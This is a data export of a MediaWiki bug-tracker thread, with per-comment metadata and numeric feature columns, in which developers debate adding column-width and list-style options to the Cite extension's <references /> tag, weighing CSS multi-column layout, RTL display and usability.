* Add a ""column-width"" optional property to the <references /> element, in ems, defaulting to unspecified => one column of 100% width.

** Ensure the issues about RTL display being logical are fix (you need to make sure that the columns and their contents both flow RTL).

** Make it look nice. :-)

** Should this default be variable as a per-wiki option?


* Add a ""list-style"" optional property to the <references /> element, an escaped pass-through of the CSS list-style of the OL, defaulting to decimal.

** Should this default be variable as a per-wiki/per-content-language option? I can imagine there might be better alternatives for some languages than ""Arabic"" Roman decimal.


Do not:

* Add a ""columns"" property (this breaks the concept of the Web's content being fit for any sized screen and shouldn't be encouraged).

* Add a new class to the <references /> OL – the ""references"" class can be over-ridden locally by wikis if they want to change it further.


Is this what others think?",,,1394727173,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,36,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,6.333333333333333,2.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,2.0,9.666666666666666,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,3.3333333333333335,1.3333333333333333,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,6.0,3.3333333333333335,8.666666666666666,0.6666666666666666,0.6666666666666666,8.333333333333334,0.0,0.3333333333333333,0.0,0.3333333333333333,5.666666666666667,0.0,1.0,0.0,2.3333333333333335,9.666666666666666,3.3333333333333335,1.0,3.6666666666666665,0.0,2.3333333333333335,0.0,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,3.4373040752351094,0.7036746778126087,"(In reply to Alex Monk from comment #17)
QUOTE

My understanding:

Do: 

* Add a ""column-width"" optional property to the <references /> element, in ems, defaulting to unspecified => one column of 100% width.

** Ensure the issues about RTL display being logical are fix (you need to make sure that the columns and their contents both flow RTL).

** Make it look nice. :-)

** Should this default be variable as a per-wiki option?


* Add a ""list-style"" optional property to the <references /> element, an escaped pass-through of the CSS list-style of the OL, defaulting to decimal.

** Should this default be variable as a per-wiki/per-content-language option? I can imagine there might be better alternatives for some languages than ""Arabic"" Roman decimal.


Do not:

* Add a ""columns"" property (this breaks the concept of the Web's content being fit for any sized screen and shouldn't be encouraged).

* Add a new class to the <references /> OL – the ""references"" class can be over-ridden locally by wikis if they want to change it further.


Is this what others think?"
237801,Support editing <references /> tags to set multi-column display on/off,Can someone sum up exactly what has been agreed to do here?,,,1394128243,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,35,,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Can someone sum up exactly what has been agreed to do here?
237796,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #8)
> The references tag should support html attributes, than you can write
> <references class=""***"" /> and the template can be replaced.

This is bug 6019.
 
> Needs a set up a class for list-styles.

Has anyone done an analysis of list-style usage on the large wikis?  I am wondering whether Cite adding a class for the group name will suffice. (i.e. emitting class=""references references-$group $invocationClassesVal"") 

I agree with others that Cite shouldn't add explicit support for columns, as this is very device-dependent; a class attribute indirectly provides this and more.",,,1383136097,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,17,,0.0,1.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,22.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,11.0,1.0,1.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,2.0,10.0,3.0,1.0,1.0,0.0,2.0,0.0,1.0,3.0,0.0,3.0,1.0,0.0,1.0,4.184782608695652,0.8152173913043478,"(In reply to comment #8)
QUOTE
QUOTE

This is bug 6019.
 
QUOTE

Has anyone done an analysis of list-style usage on the large wikis?  I am wondering whether Cite adding a class for the group name will suffice. (i.e. emitting class=""references references-$group $invocationClassesVal"") 

I agree with others that Cite shouldn't add explicit support for columns, as this is very device-dependent; a class attribute indirectly provides this and more."
237791,Support editing <references /> tags to set multi-column display on/off,"Multiple columns for references causes two major usability issues:

1. When there is only one reference and this reference is longer than the column width, it is split into several parts, causing gaps inside the reference. This gets even worse for bidi texts: If you have a reference in a right-to-left language inside a left-to-right context, and it is split into multiple columns, you have to start reading on the right end of the left column, read to the left, jump right to the next column, read to the left again, etc.

2. When the list of references is longer than the screen and a reference breaks into two columns, you have to scroll to read it. This means:
a) You click the superscript number, the browser sends you to the upper part of the reference.
b) You have to scroll down to the beginning of the reference and start reading.
c) You have to scroll up again to the second part and continue reading.
d) If you don't know that you can use your browser's ""back"" function, you have to scroll down again to get to the back link.

Both issues could be solved by using ""break-inside: avoid-column;"", but the browser support currently is very poor. So unless browser support for this improves in future or somebody writes a JS solution for it, multi-column reference lists are a bad idea for usability reasons.",,,1383132465,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,17,,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.0,14.333333333333334,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,7.666666666666667,1.0,1.3333333333333333,0.3333333333333333,3.6666666666666665,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,16.333333333333332,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,8.0,2.6666666666666665,4.333333333333333,2.0,2.3333333333333335,9.666666666666666,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,14.333333333333334,0.6666666666666666,0.0,1.3333333333333333,0.0,5.0,0.0,0.6666666666666666,2.0,0.0,1.6666666666666667,1.0,0.0,2.6666666666666665,3.7074829931972793,0.6360544217687075,"Multiple columns for references causes two major usability issues:

1. When there is only one reference and this reference is longer than the column width, it is split into several parts, causing gaps inside the reference. This gets even worse for bidi texts: If you have a reference in a right-to-left language inside a left-to-right context, and it is split into multiple columns, you have to start reading on the right end of the left column, read to the left, jump right to the next column, read to the left again, etc.

2. When the list of references is longer than the screen and a reference breaks into two columns, you have to scroll to read it. This means:
a) You click the superscript number, the browser sends you to the upper part of the reference.
b) You have to scroll down to the beginning of the reference and start reading.
c) You have to scroll up again to the second part and continue reading.
d) If you don't know that you can use your browser's ""back"" function, you have to scroll down again to get to the back link.

Both issues could be solved by using ""break-inside: avoid-column;"", but the browser support currently is very poor. So unless browser support for this improves in future or somebody writes a JS solution for it, multi-column reference lists are a bad idea for usability reasons."
237786,Support editing <references /> tags to set multi-column display on/off,"For the record, both column-count and column-width are fully automated CSS properties in the browser. It's 1 line of code to tell the browser, and then browsers handle it natively for us. No development on our side to split the list or anything like that.",,,1380273005,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,12,,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,15.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.8363636363636364,0.8,"For the record, both column-count and column-width are fully automated CSS properties in the browser. It's 1 line of code to tell the browser, and then browsers handle it natively for us. No development on our side to split the list or anything like that."
237781,Support editing <references /> tags to set multi-column display on/off,"column-count is terrible indeed, especially for liquid layouts like in MediaWiki skins. When viewing it on a narrower window, it becomes unreadable.

column-width is a much more sensible approach, though I find it hard to believe either makes sense to be specified on the individual reflist. What I've seen in practice (at least on nl.wikipedia) that there is authors who know about it and explicitly use reflist with 2 columns in all their articles, and others who don't know about it, and others who prefer 3 for whatever reason.

The result is a chaos if different column counts per article.

When incorporating this back into the Cite extension, we can also provide a better default based on whatever really makes sense to derive it from. Whatever the rational is for needing multiple columns (mostly for readability I presume as the lines become too wide, and the list too long), we can automate that trivially based on rational UX arguments (yes, there shall be a global wiki bikeshed about why 2 is better than 3). Probably deriving it from the number of references in the list.

column-width will allow the list to fold back into 1 column on smaller devices and people who just like to narrow their window, and multiply out as the window gets wider. Of course this problem isn't entirely specific to references lists, it's also a long outstanding petpeeve of various designers about the article content itself, a fluid layout makes that content hard to read as well in some cases (though a fixed layout is probably better than multi-column in that case).

</brain-dump>",,,1380272763,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,12,,0.75,0.0,0.25,0.25,0.5,6.75,1.75,0.0,0.5,0.25,2.5,0.75,0.0,0.0,0.5,1.25,0.25,7.75,12.75,0.0,1.75,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.5,0.0,5.75,2.25,2.5,0.0,0.0,0.0,0.0,0.25,0.5,0.0,0.5,0.0,0.75,0.0,0.5,0.0,0.0,0.0,15.0,0.0,1.75,0.25,0.75,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.25,0.0,1.0,0.0,5.0,2.75,3.25,2.0,1.75,7.5,0.0,0.0,0.0,0.0,3.5,0.25,1.25,0.0,4.25,12.75,0.75,0.0,0.0,0.0,4.25,0.0,2.75,2.25,0.25,1.0,2.0,0.25,0.75,4.137341772151898,0.8019382911392405,"column-count is terrible indeed, especially for liquid layouts like in MediaWiki skins. When viewing it on a narrower window, it becomes unreadable.

column-width is a much more sensible approach, though I find it hard to believe either makes sense to be specified on the individual reflist. What I've seen in practice (at least on nl.wikipedia) that there is authors who know about it and explicitly use reflist with 2 columns in all their articles, and others who don't know about it, and others who prefer 3 for whatever reason.

The result is a chaos if different column counts per article.

When incorporating this back into the Cite extension, we can also provide a better default based on whatever really makes sense to derive it from. Whatever the rational is for needing multiple columns (mostly for readability I presume as the lines become too wide, and the list too long), we can automate that trivially based on rational UX arguments (yes, there shall be a global wiki bikeshed about why 2 is better than 3). Probably deriving it from the number of references in the list.

column-width will allow the list to fold back into 1 column on smaller devices and people who just like to narrow their window, and multiply out as the window gets wider. Of course this problem isn't entirely specific to references lists, it's also a long outstanding petpeeve of various designers about the article content itself, a fluid layout makes that content hard to read as well in some cases (though a fixed layout is probably better than multi-column in that case).

</brain-dump>"
237775,Support editing <references /> tags to set multi-column display on/off,What about the {{reflist}} variants on en.wiki such as {{notelist}}?,,,1377709374,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.6842105263157895,What about the {{reflist}} variants on en.wiki such as {{notelist}}?
237769,Support editing <references /> tags to set multi-column display on/off,"The plwp infobox <references/> is here:
https://pl.wikipedia.org/wiki/Szablon:Infobox_uwagi_dodaj",,,1373764541,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.4545454545454546,1.0,"The plwp infobox <references/> is here:
URL"
237761,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #7)
> I don't understand what you're saying? This is an enhancement about users
> frequently using a template to achieve a trivial software feature, and so 
> building that into reference lists (<references />s) rather than having them
> need to invent and use the template.
> 
> Reference incidences (<ref>s) inside templates are an entirely distinct
> problem
> for VisualEditor to worry about, and this isn't about that. :-)

This bug seems to be about enhancing <references /> so people won't (often?) have to embed <references /> in templates.  However, I think db's point is that there are other reasons (besides {{reflist}}) that <references /> may be in a template.  The example Bartosz gave (Carles Puyol) boils down (after a few template layers) to [[pl:Szablon:Infobox_uwagi_dodaj]], which has its own references tag with a custom infobox group.  As shown at [[pl:Carles Puyol]], the effect is a small notes list just for the infobox.",,,1373762484,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.5,0.0,0.0,0.0,0.5,2.5,2.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,0.5,0.0,2.0,10.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.5,0.5,1.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,12.0,2.0,0.0,6.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,1.0,10.5,7.0,0.5,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,8.0,3.294941900205058,0.6667805878332194,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This bug seems to be about enhancing <references /> so people won't (often?) have to embed <references /> in templates.  However, I think db's point is that there are other reasons (besides {{reflist}}) that <references /> may be in a template.  The example Bartosz gave (Carles Puyol) boils down (after a few template layers) to [[pl:Szablon:Infobox_uwagi_dodaj]], which has its own references tag with a custom infobox group.  As shown at [[pl:Carles Puyol]], the effect is a small notes list just for the infobox."
237756,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #3)
> Also, some wikis include more stuff in their reflist-like templates; for
> example [[pl:Template:Przypisy]] unconditionally includes the heading.

Indeed. The equivalent template on Portuguese Wikipedia is also used to generate the header, and also has parameters to change the header text as well as its level (<h2>, <h3>, ...):
https://pt.wikipedia.org/wiki/Template:Referências",,,1373746711,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.392857142857143,0.75,"(In reply to comment #3)
QUOTE
QUOTE

Indeed. The equivalent template on Portuguese Wikipedia is also used to generate the header, and also has parameters to change the header text as well as its level (<h2>, <h3>, ...):
URL"
237751,Support editing <references /> tags to set multi-column display on/off,"The references tag should support html attributes, than you can write <references class=""***"" /> and the template can be replaced.

Needs a set up a class for list-styles.

The extra class=""reflist"" is unneeded, because the references tag already adds class=""references"".

Thats why you can already add

.references { column-width: 35em; -moz-column-width: 35em; -webkit-column-width: 35em; }

to your common.css/user.css and all references will have column width, no need to tag each references tag with its own class.


But the template has the advanced, that syntax errors will not eat the rest of the page.",,,1373744313,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,1.5,0.0,0.0,0.5,0.5,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,2.5,0.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,24.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,2.5,1.5,2.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.5,5.5,0.5,0.0,2.0,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,3.8529411764705883,0.6617647058823529,"The references tag should support html attributes, than you can write <references class=""***"" /> and the template can be replaced.

Needs a set up a class for list-styles.

The extra class=""reflist"" is unneeded, because the references tag already adds class=""references"".

Thats why you can already add

.references { column-width: 35em; -moz-column-width: 35em; -webkit-column-width: 35em; }

to your common.css/user.css and all references will have column width, no need to tag each references tag with its own class.


But the template has the advanced, that syntax errors will not eat the rest of the page."
237747,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #5)
> You will become also problems with <ref> in infobox templates or so on, that
> means you need another soluation than add a new tag or maintain a hardcoded
> template list in VisualEditor.

I don't understand what you're saying? This is an enhancement about users frequently using a template to achieve a trivial software feature, and so  building that into reference lists (<references />s) rather than having them need to invent and use the template.

Reference incidences (<ref>s) inside templates are an entirely distinct problem for VisualEditor to worry about, and this isn't about that. :-)",,,1373724517,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,1.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,8.0,0.0,3.0,9.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,0.0,3.0,12.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,4.0,1.0,4.0,0.0,0.0,2.0,4.020833333333333,0.7395833333333334,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

I don't understand what you're saying? This is an enhancement about users frequently using a template to achieve a trivial software feature, and so  building that into reference lists (<references />s) rather than having them need to invent and use the template.

Reference incidences (<ref>s) inside templates are an entirely distinct problem for VisualEditor to worry about, and this isn't about that. :-)"
237743,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #5)
> You will become also problems with <ref> in infobox templates or so on, that
> means you need another soluation than add a new tag or maintain a hardcoded
> template list in VisualEditor.

Hm, yeah, I didn't think about it, but some infoboxes include their own <ref>s *and* <references group=.../>, for example pl.wp infoboxes for football players and some other sportsmen; an example can be seen on [[pl:Carles Puyol]].",,,1373709172,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,3.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,3.232876712328767,0.7671232876712328,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Hm, yeah, I didn't think about it, but some infoboxes include their own <ref>s *and* <references group=.../>, for example pl.wp infoboxes for football players and some other sportsmen; an example can be seen on [[pl:Carles Puyol]]."
237738,Support editing <references /> tags to set multi-column display on/off,"You will become also problems with <ref> in infobox templates or so on, that means you need another soluation than add a new tag or maintain a hardcoded template list in VisualEditor.",,,1373700015,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.222222222222222,0.9166666666666666,"You will become also problems with <ref> in infobox templates or so on, that means you need another soluation than add a new tag or maintain a hardcoded template list in VisualEditor."
237733,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #3)
> Also, some wikis include more stuff in their reflist-like templates; for
> example [[pl:Template:Przypisy]] unconditionally includes the heading.
> 
> (In reply to comment #2)
> > > ""Obviously""? In my opinion setting maximalcolumn width and letting the
> > > browser figure out the layout makes more sense than hardcoded number
> > > (although sadly it's not how it's done right now).
> > 
> > We should be reducing, not increasing, the use of hard-coded widths. HTML is
> > not a graphical layout language, and should not be bastardised to serve as
> > such.
> 
> Hardcoding the number of columns is the same, except worse, since it can't be
> adjusted to the capabilities of the browser/device without violating CSS
> spec.
> 
> CSS only allows specifying column width ""hints"", anyway, and they can be
> measured in ems.
> https://developer.mozilla.org/en-US/docs/Web/CSS/column-width

OK, then I suppose we should maintain equivalence with {{reflist}} here.",,,1373665020,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,5.0,30.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.09375,0.40625,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK, then I suppose we should maintain equivalence with {{reflist}} here."
237728,Support editing <references /> tags to set multi-column display on/off,"Also, some wikis include more stuff in their reflist-like templates; for example [[pl:Template:Przypisy]] unconditionally includes the heading.

(In reply to comment #2)
> > ""Obviously""? In my opinion setting maximalcolumn width and letting the
> > browser figure out the layout makes more sense than hardcoded number (although
> > sadly it's not how it's done right now).
> 
> We should be reducing, not increasing, the use of hard-coded widths. HTML is
> not a graphical layout language, and should not be bastardised to serve as
> such.

Hardcoding the number of columns is the same, except worse, since it can't be adjusted to the capabilities of the browser/device without violating CSS spec.

CSS only allows specifying column width ""hints"", anyway, and they can be measured in ems. https://developer.mozilla.org/en-US/docs/Web/CSS/column-width",,,1373664227,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.5,0.0,0.0,2.0,1.0,3.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,2.0,4.0,8.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,9.5,2.0,1.0,5.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.5,8.5,5.5,0.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,3.0,1.5,0.0,1.5,3.787037037037037,0.7480782669461915,"Also, some wikis include more stuff in their reflist-like templates; for example [[pl:Template:Przypisy]] unconditionally includes the heading.

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hardcoding the number of columns is the same, except worse, since it can't be adjusted to the capabilities of the browser/device without violating CSS spec.

CSS only allows specifying column width ""hints"", anyway, and they can be measured in ems. URL"
237721,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #1)
> (In reply to comment #0)
> > * columns (default to 1; a number between 1 and … another number? - not
> > allowing width, obviously)
> 
> ""Obviously""? In my opinion setting maximalcolumn width and letting the
> browser figure out the layout makes more sense than hardcoded number (although
> sadly it's not how it's done right now).

We should be reducing, not increasing, the use of hard-coded widths. HTML is not a graphical layout language, and should not be bastardised to serve as such.

> > * list-style (default to decimal; just an escaped pass-through of the CSS
> > list-style of the OL)
> 
> That would be a bad way to do this; the list style should actually depends on
> the group name used (since Cite has a way to provide custom markers instead
> of [1] to reference citations, list-style is used to match them - see
> [[Special:PrefixIndex/MediaWiki:Cite_link_label_group]] for ones defined on
> en.wp).

